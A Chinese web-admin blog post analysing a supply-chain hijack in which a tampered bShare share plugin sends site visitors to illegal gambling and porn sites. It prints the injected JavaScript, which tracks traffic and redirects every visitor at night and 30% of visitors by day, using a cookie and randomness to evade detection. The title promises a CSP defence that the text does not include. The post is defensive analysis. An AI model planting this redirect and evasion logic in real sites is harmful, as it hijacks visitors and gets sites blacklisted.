技术帝的平台展示,网站建设、网站推广、SEO技术、网站优化、电子商务推广、平面美工和软件测试等技术干货分享。

网站点击偶尔跳转到非法网站?浏览器拦截“疑似危险内容”及 bShare 插件劫持排查与 CSP 防御方案

服务器 abel-lan 12℃ 0评论

一、 案发现场:网站被浏览器拦截与流量劫持

近期,许多网站运营者在日常维护中发现,自己的网站在浏览器中打开时,页面被直接拦截,并弹出红色警示:“此网站疑似含有风险内容”。与此同时,网站在夜间或随机时段会出现点击网页偶尔跳转至非法博彩、色情导航站的严重问题。

经过深入排查,我们发现导致这一现象的罪魁祸首,往往是网站源码中一段看似无害的第三方“分享插件”代码。今天,我们就来深度剖析这一典型的供应链劫持案例,并提供基于 Apache 的 Content-Security-Policy (CSP) 终极防御方案。

网站被浏览器标记为疑似包含危险内容

二、 溯源分析:伪装成分享插件的恶意代码

很多出现此类问题的网站源码大部分都是因为加载了 bShare 插件导致的。表面上看,这像是一个用于分享到 QQ 空间、微博的社交插件,实则暗藏杀机。

分享插件被污染
分享插件被污染

代码深度分析:

  1. 障眼法:代码引入了 buttonLite.js,这通常是正规的分享按钮 UI 逻辑,用来迷惑网站管理员,让人误以为只是普通的功能插件。
  2. 核心后门:关键在于第二段脚本 bshareC0.js。实际上,buttonLite.jsbshareC0.js 均已被黑客篡改,包含了恶意代码

通过浏览器 F12 开发者工具(Network 面板)查看 bshareC0.js 的响应内容,可以清晰地看到其被替换为以下恶意 JavaScript 逻辑:

// 1. 植入百度统计,用于暗中监控被劫持网站的流量
var _hmt = _hmt || [];
(function() {
  var hm = document.createElement("script");
  // 注意:此处统计ID已被黑客替换为黑产自己的ID,用于窃取流量数据
  hm.src = "https://hm.baidu.com/hm.js?[被篡改的统计ID]"; 
  var s = document.getElementsByTagName("script")[0]; 
  s.parentNode.insertBefore(hm, s);
})();

// 2. 核心恶意跳转逻辑
(function() {
    const COOKIE_NAME = 'last_redirect_time';
    // 注意:此处为黑客控制的非法导航站域名
    const REDIRECT_URL = 'https://[恶意域名]/?bs'; 

    // 获取Cookie的辅助函数
    function getCookie(name) {
        const value = `; ${document.cookie}`;
        const parts = value.split(`; ${name}=`);
        if (parts.length === 2) return parts.pop().split(';').shift();
        return null;
    }

    // 设置12小时有效期的Cookie,防止同一用户频繁跳转
    function set12HourCookie(name, value) {
        const date = new Date();
        date.setTime(date.getTime() + (12 * 60 * 60 * 1000));
        document.cookie = `${name}=${value}; expires=${date.toUTCString()}; path=/`;
    }

    // 获取当前北京时间
    function getBeijingHour() {
        return parseInt(new Intl.DateTimeFormat('en-US', {
            timeZone: 'Asia/Shanghai',
            hour: 'numeric',
            hour12: false
        }).format(new Date()));
    }

    // 如果12小时内已经跳转过,则不再跳转(规避检测)
    if (getCookie(COOKIE_NAME)) {
        return;
    }

    const currentHour = getBeijingHour();
    let shouldRedirect = false;

    // 劫持策略:晚上19点至次日6点,100%强制跳转
    if (currentHour >= 19 || currentHour < 6) {
        shouldRedirect = true;
    } else {
        // 白天时段,以30%的概率随机跳转(以此规避搜索引擎爬虫的检测)
        if (Math.random() < 0.3) {
            shouldRedirect = true;
        }
    }

    // 执行跳转并打上Cookie标记
    if (shouldRedirect) {
        set12HourCookie(COOKIE_NAME, 'true');
        window.location.href = REDIRECT_URL;
    }
})();

后果:一旦搜索引擎识别到这种恶意重定向,网站会被立即标记为“危险站点”,导致排名清零、流量归零。同时,由于跳转至非法站点,浏览器等安全组件会直接拦截该网站或者弹出警示用户,导致正常用户无法访问。

转载请注明:半亩方塘 » 网站点击偶尔跳转到非法网站?浏览器拦截“疑似危险内容”及 bShare 插件劫持排查与 CSP 防御方案

赞 (1)支付宝扫码打赏微信扫码打赏分享
发表我的评论
取消评论

表情

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址